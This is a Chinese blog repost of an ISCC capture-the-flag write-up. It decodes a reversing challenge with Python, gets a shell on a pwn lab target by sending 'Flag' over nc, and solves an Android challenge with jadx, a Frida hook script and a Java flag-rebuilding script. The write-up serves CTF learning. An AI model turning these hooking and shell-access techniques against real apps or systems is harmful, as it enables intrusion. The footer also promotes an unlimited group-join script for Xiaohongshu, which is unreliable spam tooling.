這段代碼首先初始化三個字符串數組,分別包含大寫字母、小寫字母和數字及特殊字符。另一個字符串v3被用作某種映射或密鑰。接著,它遍歷輸入字符串a1的每個字符,根據字符與v3中對應字符的差值,以及一系列條件,選擇性地替換a1中的字符。這個過程可能是一種加密或編碼轉換。最后,經過處理的字符串傳遞給check_2函數進行驗證。整個過程看起來像是一種基于字符替換的簡單加密或數據混淆方法。、

查看check_2;

在這里插入圖片描述

這里每個字符轉換過來就是:FSBBhKceLDlofvjimJsDiHZNRK6

那這題的思路也很簡單,我們在使用這些原本的字符轉換回去即可;

直接上腳本;

List = [70, 83, 66, 66, 104, 75, 99, 101, 76, 68, 108, 111, 102, 118, 106, 105, 109, 74, 115, 68, 105, 72, 90, 78, 82, 75, 54]  
aaa="ABCDEFGHIJKLMNOPQRSTUVWXYZ"  
bbb="abcdefghijklmnopqrstuvwxyz"  
ccc="0123456789+/-=!#&*()?;:*^%"  
ddd="DABBZXQESVFRWNGTHYJUMKIOLPC"  
flag=""  
for i in range(len(List)):  n=chr(List[i])  if(n in aaa):  x=aaa.find(n)  elif n in bbb:  x = bbb.find(n)+26  elif n in ccc:  x = ccc.find(n) + 52  print(x)  flag+=chr(ord(ddd[i])+x)  
print(flag)

在這里插入圖片描述

ISCC{bmc^Ykzv}jvnbvXoRb\]Z}

四、Pwn

chaos

下載附件,使用ida64位打開;

在這里插入圖片描述

找到main主函數直接F5反編譯即可;

在這里插入圖片描述

簡單分析一下;

這段代碼實現了一個簡單的交互式菜單,允許用戶從幾個選項中選擇。每個選項都與一個特定的函數調用相關聯。程序將持續運行,直到用戶選擇一個不在給定選項中的數字,這時程序將退出。這是命令行界面程序中非常常見的設計模式。

一個個點進去查看,發現五有flag;

在這里插入圖片描述

主要的 ptr = malloc(0x68uLL);——這行代碼使用 malloc 函數分配了104個字節的內存(因為 0x68 十六進制等于104十進制),并將返回的指針存儲在變量 ptr 中。

if ( !strncmp((const char *)ptr, “Flag”, 4uLL) )
system(“/bin/sh”);——這里,程序檢查 ptr 所指向的內存中的內容是否以 “Flag” 開頭。如果是,它將執行 system("/bin/sh")

所以答案已經很明顯了;

使用kali直接nc連上靶機,這里注意(Flag的F要大寫!);

在這里插入圖片描述

ISCC{0H74HktL4fry4lgTTfayJpJ0fgspm4YB6jH4}

五、mobile

Puzzle_Game

下載附件得到一個apk文件;(apk文件簡單來說就是一個壓縮包,它包含了一個Android應用運行所需的所有文件和資源);

這里我們使用的工具是反編譯工具——jadx-1.4.4;(本機需要配置java環境);

jadx-1.4.4已打包放在評論區;

使用方法:https://blog.csdn.net/gqv2009/article/details/127323557

啟動方法:首先進入lib目錄,再輸入啟動指令:java -jar jadx-gui-1.4.4.jar即可;

在這里插入圖片描述
接著直接導入apk文件進行分析即可;

在com.example.whathappened.a.a下分析代碼發現了str1是數值是8位的;

在這里插入圖片描述
那既然這樣我們編寫一個 Frida 將腳本注入到Android目標進程腳本;(GPT生成);

// 主函數,用于掛鉤和修改Java類的行為
function main() {// 使用Java.perform來確保所有Java相關的操作都在正確的線程上執行Java.perform(function () {// 獲取對Java類的引用let Myjni = Java.use("com.example.whathappened.MyJNI.Myjni");// 重寫getstr方法的實現Myjni.getstr.implementation = function () {// 調用原始的getstr方法let result = this.getstr();// 打印方法返回的結果console.log(result);// 返回結果return result;};});
}// 調用setImmediate以盡快執行main函數
setImmediate(main);

得出;

gwC9nOCNUhsHqZm

那就大概明白流程了,使用得到值再編寫一個sha256腳本進行爆破;

調試過程不多闡述,這里教大家個簡單方法;(方法不唯一)

直接定位random;

在這里插入圖片描述
雙擊跟進,得到3225L(動態)

在這里插入圖片描述

注意替換腳本里面的種子;(腳本借鑒師傅的)

// 導入所需的庫
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Random;// 定義一個名為Test的公共類
public class Test {// 定義一個方法來合并兩個字符串private static String combineStrings(String arg1, String arg2) {return arg1 + arg2;}// 定義一個自定義加密方法,使用異或運算符對兩個字節數組進行加密private static byte[] customEncrypt(byte[] arg4, byte[] arg5) {byte[] v0 = new byte[arg4.length];for (int v1 = 0; v1 < arg4.length; ++v1) {v0[v1] = (byte)(arg4[v1] ^ arg5[v1 % arg5.length]);}return v0;}// 定義一個方法來生成加密字符串public static String encrypt(String arg3, String arg4) {byte[] v0 = generateSalt(16); // 生成16字節的隨機鹽byte[] v3 = customEncrypt(combineStrings(arg3, arg4).getBytes(StandardCharsets.UTF_8), v0); // 對合并后的字符串進行加密byte[] v4 = new byte[v0.length + v3.length]; // 創建一個新字節數組以存儲鹽和加密數據System.arraycopy(v0, 0, v4, 0, v0.length); // 將鹽復制到新數組System.arraycopy(v3, 0, v4, v0.length, v3.length); // 將加密數據復制到新數組return Base64.getEncoder().encodeToString(v4); // 將結果轉換為Base64字符串}// 定義一個方法來執行第二種加密方式public static String encrypt2(String arg3) {byte[] v3 = arg3.getBytes(StandardCharsets.UTF_8); // 將字符串轉換為字節for (int v1 = 0; v1 < v3.length; ++v1) {v3[v1] = (byte)((v3[v1] + 0x7F) % 0x100); // 對每個字節進行操作}byte[] v1_1 = new byte[v3.length]; // 創建一個新的字節數組for (int v0 = 0; v0 < v3.length; ++v0) {v1_1[v0] = (byte)(v0 % 2 == 0 ? v3[v0] ^ 0x7B : v3[v0] ^ 0xEA); // 對每個字節進行異或操作}return Base64.getEncoder().encodeToString(v1_1); // 將結果轉換為Base64字符串}// 定義一個方法來生成隨機鹽
private static byte[] generateSalt(int i) {byte[] bArr = new byte[i]; // 創建一個指定大小的字節數組new Random(3225L).nextBytes(bArr); // 使用指定的種子生成隨機字節return bArr;
}// 程序的主入口點
public static void main(String[] args) {// 打印加密結果System.out.println("ISCC{" + encrypt2(encrypt("04999999", "gwC9nOCNUhsHqZm")).substring(0, 32) + "}");
}

}

簡單分析一下這個腳本;

combineStrings 方法接受兩個字符串參數,將它們連接起來,并返回結果。

customEncrypt 方法實現了一個簡單的異或(XOR)加密算法。它接受兩個字節數組,第一個是要加密的數據,第二個是密鑰(鹽),然后對數據的每個字節與密鑰的對應字節進行異或操作。
encrypt 方法組合了上述兩個方法的功能。它首先生成一個隨機的鹽(密鑰),然后將兩個輸入字符串合并并轉換為字節,接著使用自定義的加密方法進行加密,并將加密結果與鹽一起編碼為Base64字符串。

encrypt2 方法是另一種加密方法,它對輸入字符串的每個字節進行操作,然后再次進行異或操作,并將結果編碼為Base64字符串。

generateSalt 方法生成一個隨機的字節數組,用作加密過程中的鹽。它使用固定的種子初始化Random對象,以確保每次生成的隨機鹽是相同的。

main 方法是程序的入口點。它調用上述方法,演示了如何生成加密后的字符串,并將結果打印到控制臺。

總結:

它使用了異域加密和Base64編碼,并通過固定種子生成的隨機鹽來提供一定的安全性。

運行推薦在線網站:https://www.jyshare.com/compile/10/

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/15391.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/15391.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/15391.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

又一個換臉工具-swapface

網址 https://www.swapface.org/ 看官網支持windows和mac m1,我下載了但是我沒安裝&#xff0c;因為我的硬盤真的遭不住了。 可以去別的地方搜搜介紹&#xff0c;聽說使用挺簡單的。 但是我感覺還是rope比較好&#xff0c;其實rope已經很快了&#xff0c;就是沒有gpu有點坑…

Python數據分析實驗四:數據分析綜合應用開發

目錄 一、實驗目的與要求二、主要實驗過程1、加載數據集2、數據預處理3、劃分數據集4、創建模型估計器5、模型擬合6、模型性能評估 三、主要程序清單和運行結果四、實驗體會 一、實驗目的與要求 1、目的&#xff1a; 綜合運用所學知識&#xff0c;選取有實際背景的應用問題進行…

【Python】【Scrapy 爬蟲】理解HTML和XPath

為了從網頁中抽取信息&#xff0c;必須對其結構有更多了解。我們快速瀏覽HTML、HTML的樹狀表示&#xff0c;以及在網頁上選取信息的一種方式XPath。 HTML、DOM樹表示以及XPath 互聯網是如何工作的&#xff1f; 當兩臺電腦需要通信的時候&#xff0c;你必須要連接他們&#xff…

Android Studio實現MQTT協議的連接

1添加依賴 在項目中找到下圖文件 打開文件 如下 plugins {alias(libs.plugins.android.application) }android {namespace "com.example.mqtt_04"compileSdk 34defaultConfig {applicationId "com.example.mqtt_04"minSdk 27targetSdk 34versionCo…

樹的層序遍歷,平衡二叉樹,以及反轉二叉樹

一、樹的層序遍歷 層序遍歷的實現&#xff1a; 1.依賴于隊列的數據結構 2.核心怎么實現&#xff1a; 1&#xff09;創建一個隊列的容器對象。 2&#xff09;判斷根節點是否為空&#xff0c;不為空則添加根節點到隊列中。 3&#xff09;遍歷是一個循環性的工作&#xff0c;寫…

小紅書無限加群腳本無需ROOT【使用簡單無教程】

小紅書無限加群腳本無需ROOT&#xff0c;包含了對應的小紅書版本【使用簡單無教程】 鏈接&#xff1a;https://pan.baidu.com/s/1HkLhahmHDFMKvqCC3Q3haA?pwd6hzf 提取碼&#xff1a;6hzf

【Vue】computed 和 methods 的區別

概述 在使用時&#xff0c;computed 當做屬性使用&#xff0c;而 methods 則當做方法調用computed 可以具有 getter 和 setter&#xff0c;因此可以賦值&#xff0c;而 methods 不行computed 無法接收多個參數&#xff0c;而 methods 可以computed 具有緩存&#xff0c;而 met…

Stable Diffusion教程:從入門到精通

Stable Diffusion是一種基于深度學習的圖像生成技術&#xff0c;能夠生成高質量的圖像&#xff0c;廣泛應用于藝術創作、廣告設計和游戲開發等領域。本教程將詳細介紹Stable Diffusion的基礎知識、安裝和配置方法&#xff0c;以及如何使用它進行圖像生成。 1. 什么是Stable Di…

Python函數、類和方法

大家好&#xff0c;當涉及到編寫可維護、可擴展且易于測試的代碼時&#xff0c;Python提供了一些強大的工具和概念&#xff0c;其中包括函數、類和方法。這些是Python編程中的核心要素&#xff0c;可以幫助我們構建高效的測試框架和可靠的測試用例。 本文將探討Python中的函數、…

大語言模型的工程技巧(三)——分布式計算

相關說明 這篇文章的大部分內容參考自我的新書《解構大語言模型&#xff1a;從線性回歸到通用人工智能》&#xff0c;歡迎有興趣的讀者多多支持。 本文將討論如何利用多臺機器進行神經網絡的分布式訓練。利用多臺機器來加速大語言模型的訓練&#xff0c;是其獲得成功的重要原…

BUUCTF靶場[Web] [極客大挑戰 2019]Havefun1、[HCTF 2018]WarmUp1、[ACTF2020 新生賽]Include

[web][極客大挑戰 2019]Havefun1 考點&#xff1a;前端、GET傳參 點開網址&#xff0c;發現是這個界面 點擊界面沒有回顯&#xff0c;老規矩查看源代碼&#xff0c;看到以下代碼 代碼主要意思為&#xff1a; 用get傳參&#xff0c;將所傳的參數給cat&#xff0c;如果catdog…

揭秘Spring Bean的生命脈搏:深度剖析構造方法的推斷藝術

1. 引言 在Spring框架中&#xff0c;Bean的生命周期是一個至關重要的概念。從Bean的創建、初始化到銷毀&#xff0c;每一個階段都承載著框架與用戶代碼的交互。而在Bean的創建階段&#xff0c;構造方法的推斷顯得尤為重要。本文將從源碼層面深入剖析Spring是如何推斷并選擇構造…

程序員做副業項目,別把事情復雜化

賺錢&#xff0c;別把簡單的事情復雜化 不要把簡單的事情復雜化。在大多數情況下&#xff0c;你并不需要一個應用程序、一個小程序、一個公眾號、一個微商城、編寫深度文章、建立一個社群&#xff0c;甚至不需要所謂的個人品牌、IP或運營技巧。 你只需要一個裝滿5000個&#…

Linux基礎(五):常用基本命令

從本節開始&#xff0c;我們正式進入Linux的學習&#xff0c;通過前面的了解&#xff0c;我們知道我們要以命令的形式使用操作系統&#xff08;使用操作系統提供的各類命令&#xff0c;以獲得字符反饋的形式去使用操作系統。&#xff09;&#xff0c;因此&#xff0c;我們是很有…

python將多個音頻文件與一張圖片合成視頻

代碼中m4a可以換成mp3,圖片和音頻放同一目錄&#xff0c;圖片名image.jpg&#xff0c;多線程max_workers可以根據CPU核心數量修改。 import os import subprocess import sys import concurrent.futures import ffmpeg def get_media_duration(media_path): probe ffmp…

Linkis踩坑記錄

從WeDataSphere的docker鏡像中把代碼和配置拷貝到普通環境運行&#xff0c;結果linkis提交任務總是報錯&#xff1a; Failed to execute task TaskID_1_otJobI d_astJob_0_codeExec_0 org.apache.linkis.orchestrator.ecm.exception.ECMPluginErrorException: errCode: 12003 …

【全開源】點餐小程序系統源碼(ThinkPHP+FastAdmin+UniApp)

基于ThinkPHPFastAdminUniApp開發的點餐微信小程序&#xff0c;類似肯德基&#xff0c;麥當勞&#xff0c;喜茶等小程序多店鋪模式&#xff0c;支持子商戶模式&#xff0c;提供全部前后臺無加密源代碼和數據庫&#xff0c;支持私有化部署。 革新餐飲行業的智慧點餐解決方案 一…

【vue-6】監聽

一、監聽watch 完整示例代碼&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Documen…

【MATLAB源碼-第213期】基于matlab的16QAM調制解調系統軟硬判決對比仿真,輸出誤碼率曲線對比圖。

操作環境&#xff1a; MATLAB 2022a 1、算法描述 一、16QAM調制原理 在16QAM&#xff08;16 Quadrature Amplitude Modulation&#xff09;調制中&#xff0c;一個符號表示4個比特的數據。這種調制方式結合了幅度調制和相位調制&#xff0c;能夠在相同的頻譜資源下傳輸更多…

【Java基礎】IO流(5) —— 序列流、內存流

【Java基礎】IO流(1) —— 簡介 【Java基礎】IO流(2) —— 字符流 【Java基礎】IO流(3) —— 字節流 【Java基礎】IO流(4) —— 轉換流、打印流 【Java基礎】IO流(5) —— 序列流、內存流 【Java基礎】IO流(6) —— 隨機訪問文件流、數據流 序列流 SequenceInputStream 序列…